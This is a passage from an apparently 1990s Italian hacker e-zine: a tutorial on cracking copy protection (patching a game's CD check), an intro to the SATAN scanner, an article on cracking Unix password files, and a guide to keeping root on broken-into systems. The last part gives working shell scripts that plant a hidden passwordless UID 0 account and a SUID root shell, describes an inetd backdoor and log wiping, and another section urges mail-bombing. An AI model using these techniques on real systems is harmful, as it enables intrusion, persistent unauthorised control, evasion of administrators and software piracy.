Tutto quello che vi ho detto in questo paragrafo puo' benissimo essere
considerato "IL METODO STANDARD PER IL CRACKING DOS/WINDOWS", quindi.......
almeno questo dovete impiantarvelo bene nel ceppione !!!!!
Anche per quanto riguarda le protezioni con chiave hardware, stesso discorso.
L'unica cosa, come vi ho detto qualche pagina fa', e' se nella protezione
sono implementati particolari accorgimenti "ANTI-DEBUGGING". In questo caso,
purtroppo, la cosa si fa' complicata..... l'unica e' provare ad eseguire le
istruzioni passo passo fino a quando il programma si impianta, tornare
indietro, eliminare l'istruzione dove questo accade (andando a tracciare bene
all'interno delle CALL per essere sicuri di non eliminare qualcosa di troppo)
e riprovare. Di piu' su questo non so' dirvi, comunque sicuramente non
troverete molti programmi di questo tipo..... lo stesso CuBase 3.0
(programma che costa una cifra, con protezione a chiave hardware) non
contiene nessuna di queste tecniche, e la sprotezione e' una vera puttanata
(5 minuti) !!!
Un'ultimo cenno sulla modifica della label del floppy (o del cdrom) quando
il programma richiede un particolare nome del disco per funzionare o per
essere installato: solita zuppa! Ci sara' un punto dove troverete un CMP
con un jump condizionale seguente che vi portera' alla visualizzazione di
roba del tipo "Insert the correct disk/CD in drive". Basta individuare questo
punto e saltarlo. Tutto qua.
2.4 Cracking in ambiente DOS4GW (*FOR EXPERTS ONLY*)
Eccoci al dunque, al punto dove si vede veramente se un cracker ha le palle
o meno (ve lo immaginate un cracker con le palle, dico di quelli da mangia'!).
Premetto che le mie palle in questo campo non sono ancora molto sviluppate,
quindi..... perdonatemi se in questa sezione saro' poco chiaro!
Non vi sto' a dire nemmeno che, se prima non vi leggete bene gli altri
capitoli e non vi imparate BENE BENE a destreggiare nel debugging,
sviluppando un certo intuito "crakkistico", potete benissimo saltare questa
parte, tanto non ci capirete quasi nulla! Ordunque, fatte queste
precisazioni, cominciamo:
Innanzitutto, dovete usare lo strafottutissimoWDmaledettochilhainventatolo
potevanofa'unpo'piu'faciledausanonso'tipoilsofticechee'complicatopero'afa'
lecosesifa'prestoinvececonquestobisognasta'agira'fralefinestreuncisicapisce
unasega.....
Capito, a me piace MOOOOLTO il Watcom Debugger!
A parte questo mio odio recondito verso il programmino (in realta', l'unico
che permette di debuggare il DOS4GW, che che ne dicano chi sostiene che si
puo' fare benissimo con il SoftICE per Windows95. Dimostratemelo!), vi
spiego subito qualche comandino:
F5...... Go (esegue fino al BP specificato)
F8...... Trace
F9...... Setta il BP all'indirizzo specificato
F10..... Step
Praticamente, il vostro debugging si ridurra' al pallosissimo steppare fino a
che non trovate una call che vi butta fuori. A questo punto:
1) Fate UNDO con CTRL+LEFT (rispondete YES alla finestra che appare)
2) Mettete un BP con F9 alla call incriminata
3) Tracciatela
4) Con le call successive, ripetete da 1 a 3 finche' non vi accorgete che
siete arrivati ad un punto nel quale un jump condizionale controlla
l'entrata o meno nel programma (password esatta, cd check).
5) Provate a saltarlo, cambiando l'EIP (uguale all'IP, ma questa volta a
32-Bit. Anche gli altri registri li trovate in formato E) andando nella
finestra REGISTERS da uno dei meno e clicckando sopra al registro.
6) Se funge, segnatevi i bytes da cambiare. Dato che nel WD non c'e' la
funzione di assemble, a meno che non si tratti di NOPPARE qualcosa,
dovrete scazzarvi a cambiare i bytes clickando sul jump da cambiare
e giocherellando con i valori fino a che non avete ottenuto quello
giusto. Questo e' uno dei principali motivi per cui odio questo debugger!
Non vi sto' nemmeno a dire che nel debugging di questi programmi e'
quantomeno ESSENZIALE avere a disposizione l'originale, per vedere come si
comporta debuggandolo, in modo da identificare il punto dove agire. Difatti,
in questa maniera potete prima provare a debuggare in condizione "pirata"
(ossia, ad esempio, sbagliando la password o non inserendo il CD). Quindi,
segnatevi tutti i breakpoint "buoni" che trovate. A questo punto, debuggando
l'originale inserendo la PWD giusta o il CD, usate gli stessi BP partendo
dall'ultimo, fino a che il programma non tornera' al debugger. Segnatevi
questo BP. Ora sapete che il check avviene in un punto proprio dopo quella
call.
Tracciate la call e steppate finche' non esce, seguendo esattamente quello
che succede, segnandovi tutti i jump condizionali. Ora basta riprovare a
debuggare in condizione "pirata", settare il BP che che vi siete segnati
precedentemente e vedere cosa fanno i jump condizionali. Sicuramente ne
troverete uno che si comporta diversamente da prima, e sara' proprio quello
da cambiare.
Questa tecnica e' diciamo standard per quanto riguarda i CD-CHECK, come nel
caso di Destruction Derby che ora vi propongo.....
Dunque, iniziate il debugging caricando WD /TR=RSI /SWAP DD.EXE.
Steppate, settate BP, tracciate, eseguite e cazzi vari fino a quando non
arrivate a questo punto (naturalmente, ci arriverete dopo MOOOLTE volte che
il programma vi butta fuori, quindi dovrete ricominciare tracciando e
ritracciando.....):
(naturalmente, l'EIP che troverete voi sara' diverso!!)
[ ] 003A68F5 sub esp,0000000C
[ ] 003A68FB mov eax,[004EA78A]
[ ] 003A6900 sar eax,10
[ ] 003A6903 cmp eax,00000014
= > 003A6906 je CS:003A6916 < Con il CD originale inserito, questo
[ ] 003A6908 mov eax,00000003 JE viene eseguito. Per eliminare
[ ] 003A690D push eax il cd check, basta cambiarlo in JMP.
[ ] 003A690E call CS:003A6ABF
[ ] 003A6913 add esp,00000004
Usando le tecniche sopra descritte e controllando prima come si comporta il
gioco con il CD inserito vedrete che il JE a 3A906 (nel mio caso) viene
eseguito, mentre non inserendo il CD la call a 3A690E vi butta fuori. Quindi,
basta cambiare questo je in un JMP. Dunque, provate innanzitutto a cambiare
l'EIP in modo da simulare un JMP, per vedere se funge (tante volte mi fossi
rincoglionito......). Controllato questo, segnatevi i bytes corrispondenti
all'istruzione a 3A6906 (anche qualcuno prima e dopo) clicckando sul JE
stesso. Poi, andate al capitolo sul patcher per vedere come il tutto si mette
in pratica...... Ale', il vostro primo crack in DOS4GW!!!!!
Ah, dimenticavo: dato che il WD non stoppa i programmi che hanno un proprio
keyboard handler (praticamente, tutti) l'unica soluzione per debuggarli
e' fare come in questo caso, cioe' eseguirli passo passo dall'inizio,
tracciando e ritracciando (cosa PALLOSISSIMA che vi portera' via ore e ore).
Senno', potete provare a mettere un BP (dall'apposito menu) alla locazione
0xA0000 scegliendo "Byte", il che vi riportera' al debugger ogni volta che il
programma scrive sullo schermo. Cioe', in pratica, non potete fare quello
che fate col SoftICE o col G3X, cioe' magari arrivati al punto dove vi chiede
la password entrare nel debugger e fare tutto il resto. Altra ragione per cui
odio il WD, dato che il tasto per entrare nel debugger c'e' (PRTSCR), ma
praticamente e' inusabile per questo "cavillo"!
UPDATE:
Ho scoperto finalmente come "crakkare" il DOS4GW usando il Softice 95!!!!
Eh eh..... vi stupisco vero ?
Dunque..... premetto che e' una puttanata, bastava solamente pensarci prima.
Allora, partendo dal presupposto che la parte iniziale dell'extender e'
sempre la stessa (cioe', il DOS4GW che e' "attaccato" all'eseguibile e'
sempre il solito) basta fare in questa maniera:
1) Si carica l'EXE da crakkare con il WD;
2) Ci segnamo i primi bytes (quelli iniziali, che corrispondono a quelli
subito dopo il caricamento dell'extender);
3) Usciamo dal WD, carichiamo il nostro bravo Hex-Editor e cerchiamo i
suddetti bytes nel file;
4) Ai primi 2 bytes sostituiamo "CD 03", che corrisponde a INT 3, un
interrupt riservato ai debugger per prendere il controllo della
situazione;
5) A questo punto, carichiamo il SoftICE 95, e eseguiamo il nostro file da
crakkare. Wow...... il Softice appare proprio nel punto dove noi abbiamo
sostituito i bytes.... ganzo!
6) Al posto dell'INT3 sostituiamo i bytes che ci siamo segnati in precedenza
7) Si continua a debuggare normalmente, avendo ora passato la parte di
startup.
UPDATE 2:
Dunque dunque.... eccovi fresco fresco un altro trucchetto (forse migliore
del primo, essendo rippato brutalmente dalla guida di +ORC). C'e' di meglio
che potete evitare di cercare prima i bytes con il WD.Allora:
1) Cercate con un hex-editor nel file "vittima" la parola "WATCOM" (non mi
ricordo se e' WATCOM o Watcom o watcom, mettete case-insensitive). Ne
troverete 3 o 4, quella bona e' quella che immediatamente prima ha EB 76;
2) Al solito, sostituite questo con CD 03 (ah gia'.. se il softice non
"poppa" quando eseguite, ricordatevi di attivare I3HERE ON);
3) Runnate il programma normalmente e.... tadan! Siete proprio dopo lo
startup!
4) Risostituite CD03 con EB76 e divertitevi!
FINE SECONDA PARTE ( By Xoanon )
4) Satan ( By IceNice )
Incominciamo in questo numero una panoramica su SATAN acronimo di Security
Administrator Tool for Analyzing Networks, lo Strumento per gli Amministratori
per l'analisi della sicurezza delle reti.
Satan e' un potente strumento in grado di esaminare a fondo sistemi, o anche
intere reti di sistemi, per scovare un certo numero di falle comuni e critiche
nella sicurezza.
Il 5 Aprile 1995 satan fece la sua entrata trionfale in Internet, il suo
intento era quello di interrogare milioni di daemon in tutto il globo
terrestre nel tentativo di scoprire i segreti e le debolezze che rendono i
sistemi vulnerabili.
Gli auturi di questo ottimo tool, Dan Farmer e Wietse Venema, indirizzarono lo
sguardo di SATAN verso la ricerca di falle di sistemi per scoprire eventuali
vie per degli attacchi dall'esterno e la loro origine, in modo da saperne di
piu' sulla sicurezza della rete ed in particolare di reti estese.
Per poter utilizzare satan occore avere accesso da superuser su una
piattaforma supportata da unix, installato il perl 5.0 o successivo, un
browser web, 32mega di ram, e da 2 a 5 mega liberi di spazio su hd.
Satan e' disponibile presso numerosi ftp anonimi, ora ve ne do uno
ftp://ftp.win.tue.nl/pub/security, analizziamo ora i passi per poter
configurare il nostro bel tool un po' per volta:
1- Appena fatto il log come root, si decomprima e si estragga il file di
archivio nella locazione preferita usando comandi come questi :
# cd /desired/location
# uncompress < /some/path/satan-1.1.1.tar.Z | tar cf -
# cd satan-1.1.1
2- Si esegua lo script reconfig il quale, tra le altre cose, cerca Perl e i
browser web nelle locazioni standard.
3- Si editi config /path.pl per accettarsi che la variabile di Perl $MOSAIC
contenga il nome del comando per il browser preferito dall'utente.
4- Si esegua make senza argomenti per vedere il menu dei tipi di sistema,
quindi lo si esegua nuovamente fornendo il nome del proprio tipo di sistema:
# make
Usage: make system-type. Know types are:
aix osf bsd bsdi dgux irix4 irix5 freebsd hpux9 linux sunos4 sunos5
Asysv4
#make irix5
Dopo aver configurato il tutto lanciamo il programma portandosi all'interno
della home directory per eseguirlo, altrimenti si riceveranno uno o piu
messaggi di errore da Perl:
# ./satan
SATAN is starting up.....
Dopo aver generato il magic cookie della sessione, il satan avvia il proprio
httpd su una porta TCP libera e lancia il browser web.
Appena compare il pannello di controllo di Satan, entriamo nella configurazione
di satan in modo da configurare le variabili chiave del programma le quali
determinano il comportamento del programma durante il periodo di esecuzione.
Nelle variabili di configurazione occorre settare il database dove registrare
i risultati delle ricerche, il livello di attacco di satan leggero, normale o
completa, il tempo di timeout per i risultati delle ricerche, l'espansione
alle sottoreti, il target di satan.
Occorre configurare il tutto per bene in modo da definire nel modo migliore la
strategia di attacco; facciamo alcuni esempi:
Consideriamo un attacco a livello di target. Durante l'attacco bisogna valutare
l'impatto potenziale sul sistema locale su cui si trova SATAN, i sistemi
target e tutte le reti intermedie, in modo da avere una soluzione globale di
quello che succede con tutti i 3 livelli di attacco.
In un attacco light, SATAN richiede al dns di cercare di determinare
l'hardware del target e la configurazione del sistema operativo, il sistema
per lo scambio della mail e cosi via. Quindi contatta il portmapper RPC del
target, se ce ne e' uno attivo, per scoprire quali server applicativi basati
su RPC stanno girando sulla macchina.
In un attacco normale include le ricerche svolte con l'attacco light, oltre ad
una interrogazione finger per determinare i nomi di account degli utenti e i
nomi degli host di sistemi remoti che hanno accesso al target.
Inoltre vengono esaminate un certo numero di porte di servizio standard (FTP,
Telnet, SMPT, NNPT, UUCP, e alcune altre) per scoprire quali server di rete
sono disponibili.
Un attacco completo include le procedure dell'attacco normale, oltre ad un
esame ancora piu' accurato delle porte TCP e UDP che possono essere collegate
a server di qualunque tipo. Vengono esaminate in particolare le porte TCP
1-9999 e UDP 1-2050 e 32767-33500.
Con questo esame SATAN e' in grado di scoprire molte cose interessanti, quali
un daemon telnet su una porta non standard che puo' costituire una potenziale
porta di servizio al sistema.
Tutti e tre i metodi di attacco includono un esame delle condizioni
(conditional probe).
Questo viene eseguito solo se dalle prove effettuate emergono degli atti che
lo fanno ritenere opportuno. Se per esempio viene scoperto un server NFS
durante un attacco light, viene eseguito il comando showmount sul target per
ottenere il suo elenco di export.
Naturalmente non ha senso eseguire questo controllo se non e' presente il
server NFS.
Bene eccoci arrivati alla fine della prima parte su Satan, vi ricordo che
molte delle informazioni da me avute sono state prese in giro per libri, faq,
info personali eccetera.
Bene ci sentiamo la prossima volta.
Ciao a presto
5) Sistemi di codifica e password ( by Jack Mckrak )
Comunicare a un'altra persona delle informazioni e' un passaggio necessario
per far progredire idee e concetti... qualche volta pero' e' anche altrettanto
necessario evitare che altri ascoltino quello che abbiamo da dire...
Giulio Cesare, per esempio, garantiva la riservatezza dei suoi ordini
scambiando le lettere dell'alfabeto fra di loro secondo uno schema che solo i
suoi sotto ufficiali conoscevano... un metodo banale ma efficace se si pensa
che a quel tempo la sola scrittura era gia' un modo per comunicare messaggi
incomprensibili alla maggior parte delle persone...
Un codice di questo tipo oggi farebbe ridere, in pochi minuti un programma
di ricerca statistica, tarato con le cadenze delle lettere in una particolare
lingua, decifrerebbe il messaggio in pochi minuti, anche presupponendo che chi
ha criptato i dati abbia usato un complicatissimo algoritmo per scambiare le
lettere.
Facciamo finta che io debba inviare a un mio amico un'informazione
segreta. Sicuramente questa verra' intercettata da un eventuale nemico che
dispone di sofisticati metodi di calcolo...come posso fare per evitare che ne
comprenda il significato ?
Primo caso: il mio amico viene a trovarmi a casa una sera, siamo sicuri di
non essere spiati e ci accordiamo su un modo per codificare il messaggio.
Il sistema in questione viene generalmente chiamato "a chiave privata" ovvero
il mittente e il destinatario sono i soli a sapere come decriptare il
codice e, finche questo rimane segreto, possiamo considerarlo sicuro.
Questo modo di procedere ha pero' dei limiti: il primo e' che la chiave puo'
essere difficilmente aggiornata, poiche', quando questo accade, bisogna avere
la certezza di non essere ascoltati....piu' tempo la chiave resta attiva,
maggiori saranno le probabilita' che il nemico la scopra...Se poi si ha la
necessita' che un messaggio venga compreso da di piu' persone tutte in
possesso della stessa chiave, aumenta notevolmente la possibilita' che
il nemico possa intercettarla e compromettere la sicurezza...
Un esempio di questo tipo di codifica e' dato dall' americano DES ovvero
Data Encryption Standard, la cui chiave base e' un numero di 56 cifre in formato
binario, ovvero 2^56 possibilita' differenti di interpretare il messaggio.
Si puo' pensare che un numero cosi' grande assicuri una sicurezza assoluta,
ma, viste le capacita' di calcolo dei moderni super computer e la potenza dei
nuovi algoritmi, si e' ben lontani dal poter affermare l'impossibilita' di
decryptazione da parte di estranei (vedi seconda parte dell'articolo)...
Secondo caso: io e il mio amico non possiamo incontrarci, anzi siamo
costretti a scambiare messaggi con la certezza che questi vengono
intercettati..non possiamo inviarci dunque chiavi segrete, come facciamo a
rendere sicura una conversazione ?
Nel 1975 Whitfield Diffie e Martin Hellman inventarono un nuovo sistema per
codificare informazioni: la "crittografia a chiave pubblica"... il concetto di
base e' semplice: io ho due chiavi, una pubblica e una privata, se qualcuno
vuole inviarmi un messaggio prende la mia chiave pubblica e lo crypta,
a questo punto il solo che potra' decryptarlo sono io con la mia
chiave privata... Matematicamente questo processo e' possibile utilizzando la
teoria dei numeri primi: dati 2 numeri primi molto grandi e' facile ottenere
il loro prodotto, mentre e' quasi impossibile risalire dal prodotto ai due
numeri originali...in questo modo se io utilizzo i due numeri primi come
chiave segreta e come chiave pubblica il prodotto, ottengo un sistema che mi
garantisce sicurezza senza la necessita' di inviare la chiave al
destinatario... e' questa l'idea alla base del metodo piu' diffuso oggi
di codifica, l'RSA, nome derivato dalle iniziali degli ideatori
Rivest-Shamir-Adleman del MIT. Una applicazione nota e' il famoso
PGP di Philip Zimmermann, programma disponibile un po' ovunque sulla rete,
che e' grado di garantire una sicurezza quasi assoluta...o almeno cosi' si
ritiene...
Infatti fino al 1982 i migliori sistemi di decodifica RSA erano in grado di
decifrare un codice di 50 cifre in forma decimale per cui bastava usare
chiavi pubbliche di 100 cifre per stare al sicuro..poi lo sviluppo della
potenza di calcolo e degli algoritmi ha permesso di arrivare dapprima alla
scomposizione di numeri di 60-70 cifre, e oggi a quelli di 90-100..e questi
sono dati che non tengono conto delle novita', come il computer da uno
migliaio (non ricordo il numero esatto ma erano davvero tanti) di
Pentium Pro 200 Mhz in parallelo comprato dal governo americano...
...se venisse dedicato solo alla decifrazione di codici non so cosa
potrebbe combinare....questo per quanto riguarda il calcolo puro, perche'
se si considera l'aspetto teorico del problema si scopre che alcuni
concetti matematici (noti gia' al tempo di Fermat) dicono che se un PC e'
in grado di generare un numero di circa 300 cifre partendo da 2 numeri primi
di 150 (questa e' infatti la dimensione della chiave pubblica si imposta il
PGP in modalita' "sicurezza militare" ovvero crea un numero di 1024 bits)
con la stessa potenza di calcolo deve essere possibile risalire ai 2 numeri
di partenza... dunque tutti i dati che girano sulla rete criptati con l'RSA
contano sul fatto che questo metodo previsto in linea teorica non venga mai
scoperto dai matematici....se naturalmente non e' stato gia' scoperto ;)....
Ve la cavate in matematica e volete fare uno svracco di soldi subito ?
Facile: inventate un nuovo algoritmo di scomposizione in numeri primi e
vendetelo al migliore offerente, ma dopo cominciate a rinunciare all'idea
di poter inviare un messaggio riservato a qualcuno o di tenere segreto
il vostro conto in banca....
Passiamo alla pratica - il file passwd
Il file piu' importante per la sicurezza dei sistemi Unix e' /etc/passwd.
In questo file infatti sono memorizzati gli account di tutti gli utenti
che hanno accesso al sistema, ovvero il paradiso per chi
sta cercando un modo per entrare in quel computer...
Il file passwd si presenta come una lista di stringhe di testo strutturate
nel modo seguente:
username:password:userID:groupID:nome:homedirectory:shell
un esempio possono essere i seguenti:
root:xHPq.1DeS9nTD2:0:0:root:/:/bin/sh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
demo::101:100:demo:/usr/demo:/usr/sh
quirk:mV.ZNxmPykSek:578:12:Mr Quirk:/usr/quirk:/bin/sh
Analizziamo questi diversi tipi di account..
Lo username e' il nome che si inserisce quando viene richiesto il login
ed e' la parola con cui verrai identificato quando sei all'interno del
sistema... il primo username che compare in un file di passwd e' solitamente
"root" ovvero l'operatore di sistema, colui che ha tutti i privilegi e puo'
fare qualsiasi cosa sulla macchina.. non mi dilungo sulle conseguenze che
puo' avere riuscire ad entrare in un sistema attraverso l'account root...:>
Il secondo campo della stringa di account e' proprio la password del rispettivo
user. Si possono incontrare diversi casi:
1) La password non e' dichiarata...(vedi account "demo" nell'esempio")
..ovviamente e' il caso migliore, ma,
trascurando l'eventualita' di operatori sfigati, o non ne troverete o vi
consentiranno un accesso ristretto al minimo, praticamente inutilizzabile
(a meno che non siate degli sboroni e utilizzate questi account per
inserire cavalli di troia nel sistema e guadagnare cosi' i privilegi
di un OP )...
2) La password e' un carattere "*" (account "bin, daemon")...
..qui c'e' poco da dire, questo tipo di acconut e' disabilitato per gli utenti e
viene utilizzato da sistema per gestire diversi tipi di servizi
3) La password e' una serie di caratteri sconnessi (account "root" e "quirk")
..in questo caso siamo davanti a una password criptata con il sistema DES
e possiamo lavorarci sopra...
Se vi capita di scaricare un simile file passwd...
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:
news:x:9:13:news:/usr/lib/news:
uucp:x:10:14:uucp:/var/spool/uucppublic:
operator:x:11:0:operator:/root:/bin/bash
games:x:12:100:games:/usr/games:
man:x:13:15:man:/usr/man
..cominciate a imprecare, infatti il file in questione e' di tipo Shadowed,
ovvero tutte le passwd sono contenute in un altro file "shadow" che
l'amministratore puo' nascondere ovunque nel server... ovviamente non sto
a precisare quanto sia utile il solo file passwd con tutti gli account di questo
tipo.. (una cosa che proprio non so e' se possono esistere password file con
una parte di account normali e una parte shadow... non ne ho mai visti, ma
non posso escluderne la presenza... )
Mettiamo che in qualche modo siate riusciti a scaricare il file di passwd
da un server... il primo passo da fare e' controllare che non ci siano
account con accesso libero, se siete fortunati, ma molto fortunati, potete
anche tralasciare le prossime righe... se la ricerca, come nella maggior
parte dei casi, non da i frutti sperati allora bisogna munirsi di un buon
programma di decriptazione. L'ultimo in mio possesso si chiama John v1.0
creato nel 1996 ed e' molto piu' veloce dei suoi predecessori piu' famosi come
Brute o CrackerJack..
Il suo funzionamento e' semplice: cripta una serie di parole con il sistema
DES e controlla se il risultato e' uguale a quello scritto nel file passwd.
Puo' essere lanciato in due modalita' wordlist o incremental:
Wordlist significa che il programma legge da un file testo l'elenco di parole
che utilizzera' per trovare la password.. esistono diversi file contenenti
tutte le parole inglesi o italiane, a questi poi vanno aggiunti quelli che
contengono le password piu' comuni, i nomi propri di persona, nomi di
macchine.. tutto quello che insomma voi utilizzereste come chiave di accesso.
Il procedimento e' molto veloce.. in 30 secondi john vi dice se e' stata
usata una parola italiana, leggendo dal file con tutto il dizionario dentro,
(per informazioni: il file in questione contiene quasi 2 milioni di parole e
tiene circa 600 Kb) e in un'altra manciata di secondi vi controlla le liste
di parole piu' comuni e vari file aggiunti...
Nonostante non sia mai consigliato scegliere una parola semplice e scritta
senza caratteri speciali, un procedimento di questo tipo da
spesso piu' risultati di quello che ci si potrebbe aspettare...
Se una password non viene decriptata con le liste di parole comuni
allora rimane solo un modo: provare tutte le combinazioni di caratteri
disponibili, ovvero il modo incremental...
Penserete che per un computer potente come un Pentium II 266
associato a un programma ottimizzato riesca ad affrontare brillantemente una
simile impresa.. ma... facciamo qualche conto:
Ci sono 95 caratteri che si possono utilizzare in una parola chiave..
questi comprendono tutte le minuscole, tutte le maiuscole e tutti i caratteri
come !()?'^.... ovvero i caratteri ASCII da 33 a 128.
Una password al massimo e' costituita da 8 caratteri e dunque se vogliamo
contare tutte le possibilita' queste sono 95^8 ovvero 6.63*10^15...
un programma come john su un Pentium II 266 puo' controllare circa 20000
parole al secondo.. non sono certamente poche ma per controllarle tutte
occorrono ben 10000 anni...tantini...La statistica pero' ci da una mano e
infatti john e' calibrato su un datadase di 10000 password da cui ha
estrapolato i caratteri piu' comuni, in questo modo vengono provate
prima le combinazioni piu' probabili e vengono lasciate per ultime
quelle piu' complicate... in questo modo si riduce enormente il tempo
per identificare una parola chiave, senza contare poi che molti, in barba
alla sicurezza del sistema, scelgono parole strane ma cortissime, di 4-5
caratteri che vengono scoperte nel giro di un giorno...
A volte puo' anche meravigliare quanto un sistema possa essere insicuro,
con OP che scelgono una password incasinatissima per l'accesso root e
poi trovi degli utenti con chiavi tipo "pippo" "ciao" che hanno quasi
privilegi da amministratore...
Se pero' si sceglie una password complicata allora direi che diventa
praticamente impossibile decifrarla, in casi simili non bisogna disperare
...le vie del signore sono infinite...
si puo' infatti cercare di infiltrarsi in account scoperti ed editare il
file passwd inserendo una riga come
mckrak::0:0:Super User:/:/bin/sh
...riconnettersi come mckrak e dare inizio alle danze...
sembra facile...ma molto spesso non e' un impresa da poco...
Per ulteriori informazioni sui sistemi Unix rimando ad articoli specifici
dove verra' spiegato cos'e' l'UserID, il groupID, la shell, ecc...
Se uno di questi giorni trovo un po' di tempo (
ma soprattutto la voglia),
mi piacerebbe variare il codice sorgente di John in modo da sfruttare le
istruzioni MMX dei nuovi processori... il codice MMX e' infatti composto
da 57 istruzioni che utilizzano i registri della FPU per velocizzare i
calcoli matematici, abbondanti nei programmi multimediali o
di grafica real-time... implementando queste nella routine di John
che crypta le parole chiavi col sistema DES, penso che si possa aumentare di
un buon 80 % la velocita' di esecuzione del programma... ma la cosa potrebbe
rivelarsi abbastanza incasinata ...
Jack McKrak
P.S. Ultimante si sentono molte notizie di pedofili che usavano internet per
spacciare immagini e informazioni di ogni tipo...vorrei invitare tutti
quelli che per caso capitano in gruppi o siti di questo genere a boicottare
nel modo piu' totale chi favorisce la diffusione di questo materiale...
se non volete segnalare tutto alle autorita' munitevi almeno di un bel
programma di Mail Bombing e fata tabula rasa di tutti gli indirizzi collegati...
Fermiamo chi usa la rete per veicolare principi opposti a quelli per cui
e' stata creata...
6) Backdoors e root ( by Jester )
INTRODUZIONE
Uno dei principali problemi connessi all'hacking e' mantenere i privilegi di
amministratore in un sistema dopo una eventuale intrusione. In questo
articolo descrivero' le piu' comuni procedure per mantenere i privilegi di
root in un sistema UNIX, supponendo che siate riusciti ad impadronirvi dei
privilegi di amministratore in precedenza.
Innanzitutto le backdoors che descrivero' di seguito sono solo le piu' famose,
ma praticamente una volta in possesso della root, su un sistema Unix e'
possibile creare un'infinita' di backdoors a seconda della propria fantasia.
Prima di installare una backdoor sul sistema ci sono alcune cose che bisogna
sapere:
1.La posizione dei principali file in un sistema UNIX
2.Familiarita' con il formato del file passwd (il formato a 7 campi, i campi
GECOS, i meccanismi dello shadowing)
3.Familiarita' con editor come vi; non sempre saranno disponibili editor come
pico o Emacs con un interfaccia user-friendly
Inoltre e' bene considerare che la permanenza di tali backdoors dipendera'
anche dalle abilita' tecniche del vero amministratore del sistema. Un
amministratore degno di questo nome sara', infatti, a conoscenza di tutte le
backdoors qui descritte.
CANCELLARE LE PROPRIE TRACCE
Innanzi tutto e' importante, prima di entrare in un server, essere sicuri a
priori che si potranno cancellare le tracce della propria intrusione
modificando quindi i file che loggano la vostra presenza sul sistema. Se un
amministratore non si accorge di eventuali intrusioni, e' meno probabile che
cerchi di trovare backdoors. E' consigliabile anche fare uno di script co
me
marry.c e hide.c che rendono invisibile la propria presenza al sistema. Chi
fosse interessato me li puo' richiedere via mail.
BACKDOOR EVIDENTE
La backdoor piu' semplice, ma allo stesso tempo piu' evidente, a cui possiamo
pensare consiste nell'aggiungere al passwd un account con UID 0. Comunque fare
una cosa del genere sarebbe com dire all'amministratore "Ehi sto attaccando il
tuo server!". Se proprio vogliamo installare una backdoor di questo tipo
sarebbe opportuno non porre semplicemente questo account all'inizio o alla
fine del passwd altrimenti ognuno che esaminasse anche casualmente il passwd
lo noterebbe. Il mio consiglio e', quindi, quello di aggiungere questo tipo di
account nel mezzo del passwd con questo script:
#!/bin/csh
# Inserisce un account con UID 0 nel mezzo del passwd
set linecount = `wc -l /etc/passwd`
cd
cp /etc/passwd ./temppass
echo Il passwd file ha $linecount[1] linee.
@ linecount[1] /= 2
@ linecount[1] += 1
echo Sto creando due file, ognuno da $linecount[1] linee .
split -$linecount[1] ./temppass
echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa #Modificate questa lineaJ
cat ./xab >> ./xaa
mv ./xaa /etc/passwd
chmod 644 /etc/passwd
rm ./xa* ./temppass
echo Fatto...
E' ovvio che EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh va
modificato a seconda delle vostre esigenze inoltre MAI MAI MAI modificare la
passwd di root, le ragioni sono ovvie.
Inoltre in maniera simile e' possibile abilitare uno di quegli account (sync,
games) con UID abbastanza alto che di solito sono disabilitati (hanno un * al
posto della passwd criptata). In questo caso prendete uno di questi account
disabilitati, mettetegli UID 0 e cancellate il "*" dal secondo campo del
passwd.
Lasciare una shell nel /tmp
E' anche possibile lasciare una shell con privilegi da root nella directory
/tmp
#!/bin/sh
cp /bin/csh /tmp/.evilnaughtyshell # Non chiamatela cosi...
chmod 4755 /tmp/.evilnaughtyshell
Comunque molti sistemi hanno dei task nel crontab che fanno pulizia nella
directory /tmp ogni notte, altri hanno la directory /tmp montata in modo da
non permettere la presenza di shell SUID; e' possibile, avendo la root,
disabilitare tutti questi ma qui si ritorna al discorso di prima perche'
disabilitare tutte queste impostazioni significa rendere evidente l'attacco.
Comunque per evitare sorprese e' bene controllare i file
/var/spool/cron/crontabs/root e etc/fstab.
BACKDOOR NASCOSTA
I file principali di configurazione del server non saranno certo il primo
posto dove l'amministratore andra' a cercare backdoors, e quindi, perche' non
metterne una li? Prima alcune informazioni: l'Internet Daemon (/etc/inetd)
ascolta le richieste di connessione su porte TCP o UDP ed apre un programma
appropriatro quando arriva una richiesta di connessione.
Il formato del file /etc/inetd.conf e' semplice:
(1) (2) (3) (4) (5) (6) (7)
ftp stream tcp nowait root /usr/etc/ftpd ftpd
talk dgram udp wait root /usr/etc/ntalkd ntalkd
Il campo (1) contiene il nome del daemon proprio come e' contenuto nell'etc/services.
Questo campo dice all'internet daemon cosa cercare nell'etc/services per
determinare quale porta associare al nome di ogni singolo programma. Il campo
(2) dice all'inetd il daemon che tipo di connessione accetta. Il TCP usa il
socket di tipo stream, mentre l' UDP usa i datagrammi. Il campo (3) e' il
campo che indica il protocollo di trasmissione (TCP o UDP). Il campo (4)
indica se il daemon e' iterativo o concorrente. L'opzione "wait" indica che il
server eseguira' una connessione e fara' attendere tutte le altre. "Nowait"
al contrario, indica che il server accettera' una connessione, inizia un
processo child per gestire la connessione e poi tornera' in modalita' sleep
ad attendere altre connessioni. Il campo (5) indica con quale user (o meglio
con quale UID) il daemon e' mandato in esecuzione. Il campo (6) indica quale
programma eseguire quando una connessione arriva e (7) e' il comando con
relative opzioni relative al programma precedentemente detto. Se il programma
non richiede alcuna interazione dello user, l'inetd lo puo' gestire
internamente. Questo si realizza con un opzione "interno" ( -i) nei campi (6)
e (7). Per installare una backdoor basta scegliere un servizio che non e'
usato spesso e sostituite il daemon che usualmente e' addetto a quel servizio
con qualcos'altro. Potreste sostituirlo, ad esempio, con una shell SUID , un
programma che aggiunge un account root nell'etc/passwd....etc..etc..
